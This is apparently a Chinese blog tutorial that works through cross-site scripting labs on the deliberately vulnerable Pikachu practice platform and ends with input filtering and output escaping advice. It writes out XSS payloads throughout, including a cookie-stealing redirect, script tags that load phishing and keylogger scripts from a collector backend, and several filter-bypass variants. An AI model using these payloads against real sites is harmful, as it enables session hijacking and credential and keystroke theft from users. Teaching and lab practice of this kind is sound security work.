• Web安全从入门到“放弃”之跨站脚本XSS


    前言

    人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。XSS有以下几种常见类型:

    1. 反射性XSS;
    2. 存储型XSS;
    3. DOM型XSS;

    XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。XSS漏洞可以用来进行钓鱼攻击、前端j挖矿、用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

    XSS的危害比较:存储型>反射型>DOM型

    形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

    本次实验是在pikachu平台进行演示!

    反射型XSS(get)

    打开pikachu平台,跟以往一样,先随便输入内容。

    提交后,查看页面源代码,能够看到随便写的内容输出到了HTML的P标签里。接下来做个实验,输入正确的JS代码,看是否会原封不动的返回!

     刷新页面,重新在反射型XSS页面中输入正确的JS代码,因为HTML限制了字符长度,所以在那之前要先修改一下前端代码。按F12,修改长度

     然后输入正确的JS代码

    <script>alert("xsscss")</script>

     

    当提交后,可以看到弹窗弹出JS代码里的内容,说明代码成功执行

    反射型XSS(post)

    首先在页面中输入正确的账号密码:admin/123456

    接下来的方法和get的一样,输入正确的JS代码后,有弹窗,执行成功

    <script>alert("xss")</script>

    实验案例-获取cookie

    反射型xss(get)获取cookie

    打开pikachu平台里的管理工具-XSS后台

    点击后,会跳转到另外一个页面,然后输入账号密码,这里,我们可以把这个xss后台放到另外一个浏览器或者新的标签页进行!

     

    打开cookie搜集

    回到反射型xss(get)页面,和之前的操作一样,先修改前端的长度,然后输入一个获取cookie的JS代码

    <script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

     

    提交后,会发现当前的页面会返回到首页,然后到XSS后台刷新,看到后台已经获取了get的cookie

    反射型xss(post)获取cookie

    相比于get方式,post方式更加神不知鬼不觉。因为post请求不能从URL让用户向服务器提交数据,所以需要攻击者自己去搭建一个站点,将搭建好的站点发给用户,这样就能让用户帮攻击者提交post请求,达到窃取用户的cookie的目的。

    在那之前要先把站点搭建好,打开pikachu里的post.html,根据自己的实际情况修改IP地址

    回到pikachu平台,在页面中输入正确的账号密码

    在新的浏览器或者新的标签页的URL输入伪造的post.html站点 (注:站点要输入和自己在post.html里设置的地址一样,不然就出错)

    http://127.0.0.1/pikachu/pkxss/xcookie/post.html

    打开xss后台刷新,就能看到已经获取了cookie

    存储型XSS

    存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

    打开pikachu平台,和以往一样先在页面随便输入内容

    提交后,不管怎么刷新页面,写的内容都还在,说明了写的内容被后台存了下来

    打开页面源代码,能看到输入的内容和反射型XSS一样,都放在了p标签里,而且也没有做任何的过滤和转义处理

    回到平台,在页面输入一个JS代码进行测试

    <script>alert("cssX66")</script>

     

    提交后,不管是刷新页面还是切换页面,他都会出现弹窗,说明了存储型XSS危害更大,会造成永久型的危害!

    DOM型XSS

    DOM的简单介绍:通过JavaScript,可以重构整个HTML文档。你可以添加,移除、改变或重排页面上的项目。要改变页面的某个东西,JS就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)。所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。

    打开pikachu平台,和以往一样随便输入内容

    打开页面源代码查看,可以看出用户输入的字符串内容会存放到str,然后通过DOM方法拼接到a标签里面

    接下来进行测试,把源代码里面的a标签代码<a href='#'onclick="alert(xss)">'>what do you see?</a>进行修改

    #'onclick="alert('xss')"

     把修改的代码输入到DOM中

    提交后,点击what do you see?后,会弹出弹窗,说明测试漏洞成功

    DOM型XSS-x

    DOM型xss-x和DOM型xss差不多,他们的不同之处在于,DOM型xss-x是从浏览器的URL来获取输入内容的,相同之处在于,都是拼接到a标签里面

     

    测试的方法和DOM型xss一样,输入之前修改的a标签代码,然后点击下面的超链接,就会出现弹窗,测试成功

    实验案例-钓鱼攻击

    攻击者可以在一个有存储型XSS漏洞的网站中嵌入恶意代码,每当用户访问该网站站点时就会自动触发(前面已经说过了存储型XSS是永久的),弹出一个提示框,当用户防范意识不高,在提示框中输入信息,那么该信息就会上传到攻击者的后台。

    接下来进行演示,首先要修改一下pikachu的fish.php文件里的管理后台IP地址

    在新的浏览器或者新的标签页里打开xss后台里的钓鱼结果

    回到pikachu平台,在存储型XSS中输入JavaScript代码

     <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

     

    点击提交后,会出现一个提示框,模拟用户输入账号密码,确定

    返回到XSS后台刷新页面,可以看到后台已经获取了在提示框输入的账号密码

    XSS案例——获取键盘记录

     在实验前,先了解一下跨域

    什么是跨域

    当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域

    我们把不同域之间请求数据的操作,称为跨域操作

    跨域-同源策略

    为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定:

    两个不同域之间不能使用JS进行互相操作

    比如:x.com 域名下的 JS 并不能操作 y.com 域下的对象

        如果想要跨域操作,则需要管理员进行特殊配置

        比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

    下面的标签跨域加载资源(资源类型时有限制的)不受同源策略限制

    • <script src="...">,JS加载到本地执行
    • <img src="..">,图片
    • <link href="..">,CSS
    • <iframe src="..">,任意资源

     为什么要同源策略

    A登陆了淘宝,攻击者向A发送一个恶意链接urlb: nttp //www盗你cookie .com ,如果没有同源策略,即: urlb上的js可以操作A的内容(如:获取cookie等),有了同源策略,就限制了这种情况。
    再比如:一个恶意站点A上使用了<iframe src= "B站点登陆页面”> ,发送该恶意url到攻击对象,攻击对象登陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。

    在演示前先要修改pikachu文件夹中的rk.js,把IP地址修改为攻击者搭建的地址

     rk.js 是恶意攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用,这个文件可以记录用户的键盘操作,然后异步发送给攻击者。但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的,而ajax的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的。

    到pikachu文件中,把rkserver.php中的注释删掉,在这里"*"星号的意思是允许所有人来跨域请求

    接下来,用JavaScript构造一个payload,输入到pikachu的存储型XSS中运行

    <script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

    提交后,在页面中随便输入内容,然后打开XSS后台的键盘记录,点击刷新,可以看到页面显示出我们在pikahcu页面中输入的内容

    XSS之盲打

    什么是XSS盲打

    XSS盲打其实不是种XSS漏洞的类型,而是一种攻击场景

    在pikachu页面中随便输入内容,提交后,通过他的提示,我们可以知道输入的内容不会在前端输出,而是提交到了后台

    接下来,我们可以用过输入一段脚本代码提交到后台,后台会把代码输出,从而遭到攻击

    <script>alert('xss')</script>

    提交后,点击页面右上角的提示,可以看到管理员的账号密码和地址,可以输入进入管理员页面看看

    http://127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php

    一登陆进管理员界面后,就弹出一个弹窗,输出的内容就是我们在前端输入的内容

    XSS之过滤

    在实际开发过程中,有很多应用系统或多或少会去做对应的安全措施,但是这些安全措施有可能会因为开发人员的逻辑不够严谨,方法错误的原因,导致可以被绕过。

    过滤-转换

    • 前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
    • 大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
    • 双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
    • 注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

    过滤-编码

     核心思路:

    • 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
    • 当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行

    在使用编码时需要注意编码在输出点是否会被正常识别和翻译!

    在pikachu靶场中,随便输入内容到页面中提交

    <script>;;'';''''wwww.baidu

    查看页面源代码,可以看到输入的JavaScript被过滤掉了,接下来我们进行试验,看后台是否真的完全过滤JavaScript

     回到页面,我们可以通过大小写混合的方式输入内容,尝试看是否能绕过

    <ScRiPT>alert('xxsss')</ScRiPT>

    提交后,可以看到弹窗出我们输入的内容,说明确实可以绕过了

    我们也可以通过img标签中的“onerror”来进行绕过

    <img src=x onerror=alert('xss')>

     查看后端源代码,可以看到他只是过滤JavaScript的小写并没有过滤大写和别的标签函数等等,安全措施设置的不够严谨,导致容易被绕过。

     XSS之htmlspecialchars

    htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

    预定义的字符是

    • & 成为 &amp
    • " 成为 &quot
    • ' 成为 &#039
    • < 成为 &lt
    • > 成为 &gt

     可用的引号类型

    • ENT_COMPAT:默认,仅编码双引号
    • ENT_QUOTES:编码双引号和单引号
    • ENT_NOQUOTES:不编码任何引号

    在pikachu靶场中随便输入一个字符串后提交

    <>aaad11''''22""''

    打开页面源代码,可以看到在a标签中我们输入的内容已经经过HTML编码了,但输入的单引号却没有被编码!

    接下来我们可以试试通过单引号构造一个payload,看是否能绕过

    a' onclick='alert(222)'

    提交后,点击记录里面的a标签,可以看到页面显示出一个弹窗,说明成功绕过

    查看后端源代码分析:可以看到它是用htmlspecialchars来做处理,但它用的是默认的方法,并没有对单引号、双引号进行处理,导致可以被绕过

    XSS之href输出

     在pikachu页面中随便输入一个内容然后提交,打开源代码可以看到输入的内容是直接输入到href中,而且还被转义编码了

    aaa''"""<>

    查看后台源代码:可以看到当我们输入的网址不是百度的网址时,它会通过htmlspecialchars函数进行处理,而ENT_QUOTES函数则会对单引号、双引号等特色字符进行转义处理

    因为a标签的href属性是可以使用JavaScript协议执行JS代码的,所以我们可以构造一个没有转义字符的payload来进行绕过

    javascript:alert('xss')

    输入payload后提交,点击蓝色的标签,可以看到页面弹出一个弹窗,说明绕过成功

    如果要对href做安全处理,一般有两个逻辑:

    • 输入的时候只允许 http 或 https 开头的协议,才允许输出
    • 其次再进行htmlspecialchars处理

    XSS之js输出

    在pikachu页面中随便输入内容后提交。打开页面源代码,可以看到我们输入的内容被放到了JavaScript的代码中

    接下来我们可以通过这个JavaScript代码来构造一个合法的闭合payload,来尝试进行绕过

    aaa'</script><script>alert('xss')</script>

    提交payload后,可以看到页面显示出弹窗,说明绕过成功

    这个漏洞产生的原因:是因为输出点是在JS中,通过用户的输入动态生成了JS代码。JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话,在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS,所以在JS的输出点应该对应该使用 对特殊字符进行转义。

    XSS防范措施

    总的原则:输入做过滤,输出做转义

    • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
    • 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义

    以上就是关于XSS漏洞的演示!

  • 相关阅读:
    MonkeyScript_API
    APP性能(Monkey)【启动时间、CPU、流量、电量、内存、FPS、过度渲染】
    adb基本命令 & Monkey发生随机事件命令及参数说明
    MonkeyRunner_API
    2021春招冲刺-1218 页面置换算法 | sort的原理 | 语义化标签 | 标签的继承
    2021春招冲刺-1217 线程与进程 | ES6语法 | h5新增标签
    2021春招冲刺-1216 死锁 | 箭头函数 | 内联元素 | 页面渲染
    【unity】旧世开发日志
    HTTP 与HTTPS 简单理解
    GET POST 区分
  • 原文地址:https://www.cnblogs.com/QingR/p/13157087.html
Copyright © 2020-2023  润新知